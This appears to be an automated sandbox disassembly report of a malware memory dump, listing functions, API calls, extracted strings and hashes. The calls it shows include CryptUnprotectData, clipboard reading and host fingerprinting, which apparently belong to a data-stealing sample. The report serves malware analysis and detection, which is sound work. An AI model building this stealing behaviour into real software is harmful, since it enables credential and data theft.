Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: P%R$)\"^$.H4J$O@$pq
API String ID: 2573436264-1397720406
Opcode ID: cd14e05d7432ded1bf926f32cda1f224496113c88b4519bc978cba4cd539789a
Instruction ID: 8d1c6a9ba2bf63fa8fe487279597ba15b590cfaf954231a8494ef46f424a72d4
Opcode Fuzzy Hash: cd14e05d7432ded1bf926f32cda1f224496113c88b4519bc978cba4cd539789a
Instruction Fuzzy Hash: D022EFB2A483418BD314CF25C880B5BBBE5EFC9704F148A2DF5919B381E779D909CB96

Function 00423860 Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 501
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WE, xrefs: 00423D04
Fg)i, xrefs: 00423E56
OU, xrefs: 00423CFC
/G$I, xrefs: 00423E16
7N1@, xrefs: 00423ED0, 00423EE1
A[, xrefs: 00423D14
{\}, xrefs: 00423E3E

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID:
String ID: /G$I$7N1@$A[$Fg)i$OU$WE${\}
API String ID: 0-1763234448
Opcode ID: 99fe5afda1dcc440005955b3418fa216d89817fb1a5d97e426eeaa65bb2ccc37
Instruction ID: 056ee81575811c50f3dd50ebd9ce003cf240713406730f881528123b83eb6744
Opcode Fuzzy Hash: 99fe5afda1dcc440005955b3418fa216d89817fb1a5d97e426eeaa65bb2ccc37
Instruction Fuzzy Hash: 2AF1CAB56083509FD3108F65E88276BBBF2FBD2345F54892DF0858B390D7B88906CB86

Function 00415799 Relevance: 14.5, APIs: 1, Strings: 7, Instructions: 492
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00415BAF

Strings

oA&C, xrefs: 00415CE6
X, xrefs: 00415DD2
8MNO, xrefs: 00415C36
RXA, xrefs: 00415842
~, xrefs: 0041596E
NDNK, xrefs: 00415D85
<I2K, xrefs: 00415C2B

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: CryptDataUnprotect
String ID: 8MNO$<I2K$NDNK$RXA$X$oA&C$~
API String ID: 834300711-3328159043
Opcode ID: 7d14a55b692df4f7a5a1489c3381dac725c5f5ca9d3437b0e32695eadac0db18
Instruction ID: b39a018424f603aff0b8ca9a117b68807cb953dc34c5f22e55a732b949ac1150
Opcode Fuzzy Hash: 7d14a55b692df4f7a5a1489c3381dac725c5f5ca9d3437b0e32695eadac0db18
Instruction Fuzzy Hash: 90F125B6608740CFC720CF29D8817EBB7E1AFD5314F194A2EE4D997251EB389845CB86

Function 00408850 Relevance: 7.7, APIs: 5, Instructions: 194
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 0040891C
GetCurrentThreadId.KERNEL32 ref: 00408925
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 004089DB
GetForegroundWindow.USER32 ref: 00408A33

Part of subcall function 0040C550: CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C563

Part of subcall function 0040B390: FreeLibrary.KERNEL32(00408AB8), ref: 0040B396
Part of subcall function 0040B390: FreeLibrary.KERNEL32 ref: 0040B3B7

ExitProcess.KERNEL32 ref: 00408AD1

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: CurrentFreeLibraryProcess$ExitFolderForegroundInitializePathSpecialThreadWindow
String ID:
API String ID: 3072701918-0
Opcode ID: 80d43e03976d674c32d86d2947b6f6748d05092d2929b392bf544b78baad5a14
Instruction ID: 4e8ceca9db94e69365d2c2d7f1aefafb9de861df3649afd20bfce81a3928f3be
Opcode Fuzzy Hash: 80d43e03976d674c32d86d2947b6f6748d05092d2929b392bf544b78baad5a14
Instruction Fuzzy Hash: 9351A9BBF102180BD71CAEAACD463A675878BC5710F1F813E5985EB7D6EDB88C0142C9

Function 0042DA53 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 0042DA87
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 0042DB5D

Strings

0K), xrefs: 0042DF19
4*VP, xrefs: 0042DF24

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: ComputerName
String ID: 0K)$4*VP
API String ID: 3545744682-3626284114
Opcode ID: 7f9184ee53db8657b7211f9213731764c2e24f7097ca2d92dc8b3e88ab6ab3dd
Instruction ID: 79d6e082e0491a4045e5b840a95bb4df230d34c241beba690eb3c8ed7007ce5a
Opcode Fuzzy Hash: 7f9184ee53db8657b7211f9213731764c2e24f7097ca2d92dc8b3e88ab6ab3dd
Instruction Fuzzy Hash: 8FD12730A1C3D08ED7258F3994507ABBFE19FA7314F59896ED4C98B382C7798406CB66

Function 0043C1F0 Relevance: 1.5, APIs: 1, Instructions: 14libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(0043E31B,005C003F,0000002C,?,?,00000018,?,00000000,?,?,?,?,00000000,00000000), ref: 0043C21E

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction ID: 0c3231226d6b2b3a527619dcc08e6164a4fafcc19f94aab6dc14dc2c5ea58878
Opcode Fuzzy Hash: 428b37146f2ab8bbef251fdb989594d24ae2c5b49c4db8728953df82dacde34d
Instruction Fuzzy Hash: A2E0FE75908316AF9A08CF45C14444EFBE5BFC4714F11CC8DA4D863210D3B0AD46DF82

Function 00433CDF Relevance: 3.0, APIs: 2, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemMetrics.USER32 ref: 00433D17
GetSystemMetrics.USER32 ref: 00433D26

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: 5f2d3bb2bc73d9fb24c3e71e22e052d5e824def969419b7e1f909697d2eb3c0f
Instruction ID: cb1e3e37586d9a4509bd606a09fc72fdf1ec5b4aeb0744265bd1e649f6a723a7
Opcode Fuzzy Hash: 5f2d3bb2bc73d9fb24c3e71e22e052d5e824def969419b7e1f909697d2eb3c0f
Instruction Fuzzy Hash: 2211AFF4D142188FDB40EF7CD98569DBBF4AB49304F10442AE498E7360E774A9988F86

Function 0042E4A9 Relevance: 1.6, APIs: 1, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?), ref: 0042E5D8

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: d676d3cf378bce22c63fcc0d702ca03e1329d21923194e356a21209e6313a188
Instruction ID: bada183498579cd0d1e1b9560e2ec57dcdd73a114042e6aef25e130bccfe5e33
Opcode Fuzzy Hash: d676d3cf378bce22c63fcc0d702ca03e1329d21923194e356a21209e6313a188
Instruction Fuzzy Hash: C721297251C39089D735CB368810BEBBBE29FD6308F49CCADC4C847242E7794585C79A

Function 00436145 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 00436165

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: c20870ad1c2550df031d9ae96be031c5a683c54f8c490753efcc1857bb42eeb8
Instruction ID: 741c48333e69648009e785c6466c575ff7d71c05fd411e4f0ced63eefbf4b49a
Opcode Fuzzy Hash: c20870ad1c2550df031d9ae96be031c5a683c54f8c490753efcc1857bb42eeb8
Instruction Fuzzy Hash: 86115B32D052968FDB14CB3C8C502ADBFB15F8A320F1983EDD8A5A33D5D9304E428B51

Function 0043C2C8 Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043CCAF

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: ee62edd4f90ceb3851fb76d6bb2596050db7060e58c86fce7ad8149e0838c105
Instruction ID: 8fb46afbfb550afb85baefcd5c24b2e1a72551ea741637eac68a3138d718cba2
Opcode Fuzzy Hash: ee62edd4f90ceb3851fb76d6bb2596050db7060e58c86fce7ad8149e0838c105
Instruction Fuzzy Hash: 07F04CBAD005408BDB044B75CC821A67BA2DB5F320B18897DD441E3384C63C5807CB5D

Function 0043C180 Relevance: 1.5, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,00000000,?,?,0040B2E4,00000000,00000001), ref: 0043C1B2

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d479befdbac128fe149772a9185de956813756a2e3e272a70dac7c9e8d919251
Instruction ID: ec0cbf63999808cd9fde2cf832404b9ab0848eb4eaaead86bc709d6aa026588d
Opcode Fuzzy Hash: d479befdbac128fe149772a9185de956813756a2e3e272a70dac7c9e8d919251
Instruction Fuzzy Hash: 59F0E977808211EBD2003F257C01A5736649F8F735F01587AFC0152112D739D422E6AF

Function 0043169A Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004316E1

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 398b2808b458341c98a87bf67e0231988ff1e1ff89b83f4d85f076abaf8bf248
Instruction ID: 88ab58616cf1dac6cba617d780c76543ffdeb80aa514c7c7d0db7b6f6353d972
Opcode Fuzzy Hash: 398b2808b458341c98a87bf67e0231988ff1e1ff89b83f4d85f076abaf8bf248
Instruction Fuzzy Hash: 0FF09EB8509342CFD394DF64C5A875BBBE0EB89348F01891CE4998B391DBB59548CF82

Function 00430469 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004304AC

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: c776e90b0c9c6af7e86a6e6b759a0e1348666aeaad21731c063a5846b902e991
Instruction ID: d25a5440729caa6a4a41176679ca809818bf9cac461bb09e9bc77660d505e8e6
Opcode Fuzzy Hash: c776e90b0c9c6af7e86a6e6b759a0e1348666aeaad21731c063a5846b902e991
Instruction Fuzzy Hash: 56F0D4B45093019FD314DF29D16871ABBF4FB88304F01991CE49ACB790C7B5AA48CF82

Function 0040C550 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C563

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 6fc60a274ed566bab613781af0777c43ce176e621231eb36fbaf2a6aedf8035e
Instruction ID: e03bcfaf696d6c281ff3d22d3b8d0c31e3889364fa9117d67ae1079de8c3c82d
Opcode Fuzzy Hash: 6fc60a274ed566bab613781af0777c43ce176e621231eb36fbaf2a6aedf8035e
Instruction Fuzzy Hash: 43D0A7B557050867D2086B1DDC4BF22772C8B83B66F50423DF2A7C61D1D9506A14CA79

Function 0040C583 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C595

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 49e86824338073915e330635472e4cd66e95047cd3c20be69d528b314b786c07
Instruction ID: 58e2b5502705141ff0d3aa7c975cc0701997441b8ab7d7d43dac110591522243
Opcode Fuzzy Hash: 49e86824338073915e330635472e4cd66e95047cd3c20be69d528b314b786c07
Instruction Fuzzy Hash: F1D0C9B47D83407AF5749B08AC17F143210A702F56F740228B363FE2E0C9E172018A0C

Function 0043AAA0 Relevance: 1.5, APIs: 1, Instructions: 13memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,0043C1D6,?,0040B2E4,00000000,00000001), ref: 0043AABE

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 6bd8f6e4c03da58ea1ddb055db28ee6a0cd2fda4e2937b11b34eec233391d5a2
Instruction ID: 16971ee2c2e030bf17817a0d81dc477e65560ccac1e7abaabcdfe7fdc6775186
Opcode Fuzzy Hash: 6bd8f6e4c03da58ea1ddb055db28ee6a0cd2fda4e2937b11b34eec233391d5a2
Instruction Fuzzy Hash: B2D01231505522EBC6102F25FC06B863A58EF0E761F0748B1B4006B071C765ECA186D8

Function 0043AA80 Relevance: 1.5, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,0043C1C0), ref: 0043AA90

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 733e1922efac4f9a0d584a8944a64cd40278d35b25fcdbd161a554f2c268bb95
Instruction ID: 72b53a506d10aa35cab301047588232e26feb19e762ad2a100d4e8a4b6eb39e1
Opcode Fuzzy Hash: 733e1922efac4f9a0d584a8944a64cd40278d35b25fcdbd161a554f2c268bb95
Instruction Fuzzy Hash: D6C09231445220BBCA143B16FC09FCA3F68EF4D762F0244A6F514670B2CB61BCA2CAD8

Non-executed Functions

Function 00426B50 Relevance: 30.2, APIs: 1, Strings: 16, Instructions: 439COMMON

Download Yara Rule

Strings

g#X%, xrefs: 004272E8
!, xrefs: 00427452
NO, xrefs: 00427361
$&, xrefs: 004275AF
EG, xrefs: 0042740B
bweM, xrefs: 004276F0
l+X-, xrefs: 004272FE
U'g), xrefs: 004272F3
UGBY, xrefs: 00427708
w?n!, xrefs: 004272DD
*W.Y, xrefs: 0042731F
{7y9, xrefs: 004272C7
;[0], xrefs: 0042732A
>C7E, xrefs: 00427340
FOEH, xrefs: 0042771E
+K!M, xrefs: 00427356

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID:
String ID: !$*W.Y$+K!M$;[0]$>C7E$FOEH$NO$U'g)$UGBY$bweM$g#X%$l+X-$w?n!${7y9$$&$EG
API String ID: 0-3492884535
Opcode ID: 5e16a26193487a4bdaa5a93cbbb181080dd0d43d457804532e7adee19b2f1ec1
Instruction ID: ba39798a3fcb6da663dd5afd8d89a9a5fc3f4f782173f0556435d4ff5b4d5338
Opcode Fuzzy Hash: 5e16a26193487a4bdaa5a93cbbb181080dd0d43d457804532e7adee19b2f1ec1
Instruction Fuzzy Hash: A3E10EB4608350CFD7249F25E85176FBBF2FB86304F45896DE5D88B252D7388906CB4A

Function 004329C0 Relevance: 9.1, APIs: 6, Instructions: 144clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 004329E2
GetClipboardData.USER32 ref: 00432A05
GlobalLock.KERNEL32 ref: 00432A22
GlobalUnlock.KERNEL32 ref: 00432B6B
CloseClipboard.USER32 ref: 00432B73

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock
String ID:
API String ID: 1006321803-0
Opcode ID: 62f3a4270cdee086724bceffc210ad3ff0b6d52f738edb6c1f0dd5dd3d126aa6
Instruction ID: f2decc6a1db23371b8bb2cc1877cdad688787675f84f74fde2292b1bd35bf902
Opcode Fuzzy Hash: 62f3a4270cdee086724bceffc210ad3ff0b6d52f738edb6c1f0dd5dd3d126aa6
Instruction Fuzzy Hash: 855102F1D08A828FD700AF78C54936EFFA0AB15310F04863ED89597392D3BCA9598797

Function 00431715 Relevance: 36.9, APIs: 1, Strings: 20, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0043179A

Strings

/, xrefs: 00431867
B, xrefs: 00431871
~, xrefs: 004318C1
J, xrefs: 00431885
Q, xrefs: 00431853
4, xrefs: 00431821
0, xrefs: 00431980
H, xrefs: 004318AD
O, xrefs: 0043187B
], xrefs: 00431849
;, xrefs: 00431817
, xrefs: 0043183F
m, xrefs: 004318B7
n, xrefs: 004318D1
G, xrefs: 004318A3
B, xrefs: 0043188F
#, xrefs: 00431899
^, xrefs: 0043185D
0, xrefs: 0043182B
{, xrefs: 004318E1

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: AllocString
String ID: $#$/$0$0$4$;$B$B$G$H$J$O$Q$]$^$m$n${$~
API String ID: 2525500382-534244583
Opcode ID: 88941a0f473d950aaf799373c472504fdf4e728c02f445fde5d667b58de91daa
Instruction ID: e2dddc40eb3f9dab4f65535c588d3d72a3f147e4bda3b82f36fbc837b78308fa
Opcode Fuzzy Hash: 88941a0f473d950aaf799373c472504fdf4e728c02f445fde5d667b58de91daa
Instruction Fuzzy Hash: 8481066010CBC28AD322C63C881875FBFD15BE7224F184B9DE1F58B3E6D6A98146C767

Function 004312D1 Relevance: 36.9, APIs: 1, Strings: 20, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00431360

Strings

n, xrefs: 00431497
, xrefs: 00431405
^, xrefs: 00431423
J, xrefs: 0043144B
;, xrefs: 004313DD
B, xrefs: 00431455
m, xrefs: 0043147D
4, xrefs: 004313E7
B, xrefs: 00431437
/, xrefs: 0043142D
{, xrefs: 004314A7
G, xrefs: 00431469
Q, xrefs: 00431419
0, xrefs: 0043153F
], xrefs: 0043140F
0, xrefs: 004313F1
O, xrefs: 00431441
H, xrefs: 00431473
#, xrefs: 0043145F
~, xrefs: 00431487

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: AllocString
String ID: $#$/$0$0$4$;$B$B$G$H$J$O$Q$]$^$m$n${$~
API String ID: 2525500382-534244583
Opcode ID: bfb36de6ec62216300921940dd90e50556119a09abea61977352c50feb6b8cd0
Instruction ID: e21bf8ef08eaefae2f6608d65dd533aaf672cde794620ee92b713000d27e8169
Opcode Fuzzy Hash: bfb36de6ec62216300921940dd90e50556119a09abea61977352c50feb6b8cd0
Instruction Fuzzy Hash: 9981F52010CBC289D326C63C885875FBFD16BE7224F184B9DE1F58B3E6D6A98146C727

Function 0042E9ED Relevance: 33.3, APIs: 2, Strings: 17, Instructions: 94COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0042E9F6
VariantInit.OLEAUT32 ref: 0042EA05

Strings

Q, xrefs: 0042EA2C
<, xrefs: 0042EA50
*, xrefs: 0042EA88
W, xrefs: 0042EA34
2, xrefs: 0042EA68
8, xrefs: 0042EA40
b, xrefs: 0042EA3C
:, xrefs: 0042EA48
T, xrefs: 0042EA24
., xrefs: 0042EA98
4, xrefs: 0042EA70
6, xrefs: 0042EA78
(, xrefs: 0042EA80
0, xrefs: 0042EA60
,, xrefs: 0042EA90
>, xrefs: 0042EA58
-, xrefs: 0042EA94

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: Variant$ClearInit
String ID: ($*$,$-$.$0$2$4$6$8$:$<$>$Q$T$W$b
API String ID: 2610073882-1095711290
Opcode ID: 7ffbdfa689dec1bd21887cc542622a7e9519c13530b26af4dda8f001440ba417
Instruction ID: 67e1650e07e25dd8c979730081919a9ec74336f1c366e84b3847a4c8d399cf69
Opcode Fuzzy Hash: 7ffbdfa689dec1bd21887cc542622a7e9519c13530b26af4dda8f001440ba417
Instruction Fuzzy Hash: 19410921108BC1CED726CF388488646BFA16F66224F0886DDD8E54F3DBC775D51AC7A6

Function 0042F833 Relevance: 33.3, APIs: 2, Strings: 17, Instructions: 85COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0042F83F
VariantInit.OLEAUT32 ref: 0042F84E

Strings

W, xrefs: 0042F883
<, xrefs: 0042F89F
(, xrefs: 0042F8CF
2, xrefs: 0042F8B7
-, xrefs: 0042F8E3
:, xrefs: 0042F897
0, xrefs: 0042F8AF
,, xrefs: 0042F8DF
T, xrefs: 0042F873
*, xrefs: 0042F8D7
6, xrefs: 0042F8C7
4, xrefs: 0042F8BF
Q, xrefs: 0042F87B
., xrefs: 0042F8E7
8, xrefs: 0042F88F
>, xrefs: 0042F8A7
b, xrefs: 0042F88B

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: Variant$ClearInit
String ID: ($*$,$-$.$0$2$4$6$8$:$<$>$Q$T$W$b
API String ID: 2610073882-1095711290
Opcode ID: f781027231551062226cb081f6f7d4146a3b5f5555bc5acf262f956389af0b84
Instruction ID: 5aee6742307bd22be2b72699ebf7517107c7abda4f37a595e92ffc77e439cf83
Opcode Fuzzy Hash: f781027231551062226cb081f6f7d4146a3b5f5555bc5acf262f956389af0b84
Instruction Fuzzy Hash: 34410820108BC1CED726CF3C9488616BFA16B66224F488ADDD8E54F3DBC375D51ACB66

Function 00432409 Relevance: 26.3, APIs: 1, Strings: 14, Instructions: 90COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 0043244F

Strings

C, xrefs: 00432481
e, xrefs: 004324B3
A, xrefs: 004324EA
L, xrefs: 004324BD
X, xrefs: 00432477
H, xrefs: 004324D1
E, xrefs: 00432495
[, xrefs: 004324DB
@, xrefs: 004324E5
@, xrefs: 004324A9
J, xrefs: 0043248B
[, xrefs: 004324C7
X, xrefs: 0043246D
Q, xrefs: 0043249F

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: InitVariant
String ID: @$@$A$C$E$H$J$L$Q$X$X$[$[$e
API String ID: 1927566239-3011065302
Opcode ID: 525d7f934687ab0bf19ac530d90f1e1fa4e045b28120346783632a559e286019
Instruction ID: 53b19800ce9beadd92bbeaf8c0dd5e513984ffb5c5a49c85e3815ab243118963
Opcode Fuzzy Hash: 525d7f934687ab0bf19ac530d90f1e1fa4e045b28120346783632a559e286019
Instruction Fuzzy Hash: 0541097010C7C18AD365DB28849878BBFE16B96314F885A9CE6E94B3E2C7798409C757

Function 00432194 Relevance: 26.3, APIs: 1, Strings: 14, Instructions: 83COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 004321C6

Strings

J, xrefs: 00432209
[, xrefs: 00432245
e, xrefs: 00432231
Q, xrefs: 0043221D
A, xrefs: 00432268
C, xrefs: 004321FF
@, xrefs: 00432263
[, xrefs: 00432259
@, xrefs: 00432227
L, xrefs: 0043223B
E, xrefs: 00432213
H, xrefs: 0043224F
X, xrefs: 004321EB
X, xrefs: 004321F5

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: InitVariant
String ID: @$@$A$C$E$H$J$L$Q$X$X$[$[$e
API String ID: 1927566239-3011065302
Opcode ID: 2ee573a903be5f004d3e2d813880161334ac93031f736f9e15fdb26375ef605a
Instruction ID: f917ff13e8fa353cdd9af704c32342f25a9e0069aca0bae3d4b305f03d6e9fde
Opcode Fuzzy Hash: 2ee573a903be5f004d3e2d813880161334ac93031f736f9e15fdb26375ef605a
Instruction Fuzzy Hash: F841187000D7C18AD3619B28849874FBFE06BA7324F885A9DF6E84B3E2C77984498757

Function 00431EDD Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 92COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00431EE7
VariantInit.OLEAUT32 ref: 00431EFA

Strings

n, xrefs: 00431FAF
z, xrefs: 00431F6F
w, xrefs: 00431F4F
A, xrefs: 00431F8F
p, xrefs: 00431FBF
e, xrefs: 00431F1F
v, xrefs: 00431F3F
p, xrefs: 00431F9F
z, xrefs: 00431F2F
e, xrefs: 00431F5F

Memory Dump Source

Source File: 0000000C.00000002.3169734177.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_fba63623fe.jbxd

Similarity

API ID: Variant$ClearInit
String ID: A$e$e$n$p$p$v$w$z$z
API String ID: 2610073882-1114116150
Opcode ID: 285518986e989cac88369cedce0e1c7570f99f932fa8b56f27ac7dcd310c1e64
Instruction ID: 776134ba1da329d7d35a817d8e2b42585fa70f537528e7a9cdeab4ed979499a7
Opcode Fuzzy Hash: 285518986e989cac88369cedce0e1c7570f99f932fa8b56f27ac7dcd310c1e64
Instruction Fuzzy Hash: 2641383160C7C18ED331DB38885879BBFD1ABA6324F088AADD4E9872D6D7794505C763

